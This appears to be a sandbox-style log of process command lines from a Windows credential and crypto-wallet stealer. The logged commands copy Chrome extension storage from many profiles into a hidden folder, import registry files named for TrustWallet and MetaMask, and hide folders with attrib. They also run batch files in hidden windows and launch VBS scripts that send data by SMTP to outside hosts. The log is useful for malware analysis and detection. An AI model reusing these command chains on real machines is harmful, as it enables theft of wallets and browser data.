- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\ProDefault" /s /i /Y
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 1\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro1" /s /i /Y
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 2\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro2" /s /i /Y
- '%WINDIR%\syswow64\reg.exe' DELETE "HKCU\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled /f
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 4\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro4" /s /i /Y
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 5\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro5" /s /i /Y
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 3\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro3" /s /i /Y
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 7\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro7" /s /i /Y
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 14\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro14" /s /i /Y
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 6\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro6" /s /i /Y
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 13\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro13" /s /i /Y
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 12\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro12" /s /i /Y
- '%WINDIR%\syswow64\cscript.exe' /nologo "go super oracle 32+64-bit(587).vbs" cm@ssh.16mb.com cm@ssh.16mb.com "user (FirtsGeneralPowerfull)Kue+network" "in c.o.s.r-v smtp*smtp2love*mywire*org" smtp.smtp2love.mywire.org cm@ssh....
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 10\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro10" /s /i /Y
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 9\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro9" /s /i /Y
- '%WINDIR%\syswow64\cscript.exe' /nologo "go service oracle 32+64-bit(587)++.vbs" cm@ssh.16mb.com cm@ssh.16mb.com "user(lryoqstwjmrm)pass+(dua.1)" "Dalam c.o.s.r-v smtp*smtp2love*mywire*org" smtp.smtp2love.mywire.org cm@ssh.16...
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 8\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro8" /s /i /Y
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 11\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro11" /s /i /Y
- '%WINDIR%\syswow64\reg.exe' DELETE "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled /f
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 15\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro15" /s /i /Y
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\7C9E.tmp\(bukaoracle')firts.bat" "
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 16\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro16" /s /i /Y
- '%WINDIR%\syswow64\ping.exe' -n 1 8.#.8.8
- '%WINDIR%\syswow64\find.exe' "TTL="
- '%WINDIR%\syswow64\systeminfo.exe'
- '%WINDIR%\syswow64\findstr.exe' /B /C:"OS Name" /C:"System Type" /C:"Host Name"
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" type "%TEMP%\sysinfo-onsthn.txt" "
- '%WINDIR%\syswow64\findstr.exe' /g:rpm.txt
- '%WINDIR%\syswow64\attrib.exe' +h %LOCALAPPDATA%\Google\Chrome\alkun
- '%WINDIR%\syswow64\attrib.exe' +h "%APPDATA%\Brave\sysfox" /s /d
- '%WINDIR%\syswow64\attrib.exe' +h "%LOCALAPPDATA%\Apple\--incognito"
- '%WINDIR%\syswow64\attrib.exe' +h "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito"
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\6C0B.tmp\v.bat" "
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\19D6.tmp\services.cek(authimpt-etc).bat" "
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" type "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\periksa.txt" "
- '%WINDIR%\syswow64\xcopy.exe' "%LOCALAPPDATA%\Google\Chrome\User Data\Profile 17\Local Extension Settings" "%LOCALAPPDATA%\Google\Chrome\User Data\--incognito\Pro17" /s /i /Y
- '%WINDIR%\syswow64\findstr.exe' "bhghoamapcdpbohphigoooaddinpkbai"
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\55BD.tmp\super.ff.extens.bat" "
- '%WINDIR%\syswow64\findstr.exe' "XP"
- '%WINDIR%\syswow64\reg.exe' import "#authgeneralbit.reg"
- '%WINDIR%\syswow64\findstr.exe' "x64-based"
- '%WINDIR%\syswow64\ping.exe' -n 9 localhost
- '%WINDIR%\syswow64\reg.exe' import "#trustwalletgeneralbit.reg"
- '%WINDIR%\syswow64\reg.exe' import "#metageneralbit.reg"
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\4EAC.tmp\super.oracle.x3dua-multi.bat" "
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\55BD.tmp\super.ff.extens.bat" "' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\A756.tmp\sysplayer.apple.bat" "' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\19D6.tmp\services.cek(authimpt-etc).bat" "' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\9636.tmp\service.oracle.32.64-bit(587)go+.bat" "' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\4EAC.tmp\super.oracle.x3dua-multi.bat" "' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\7C9E.tmp\(bukaoracle')firts.bat" "' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\6C0B.tmp\v.bat" "' (with hidden window)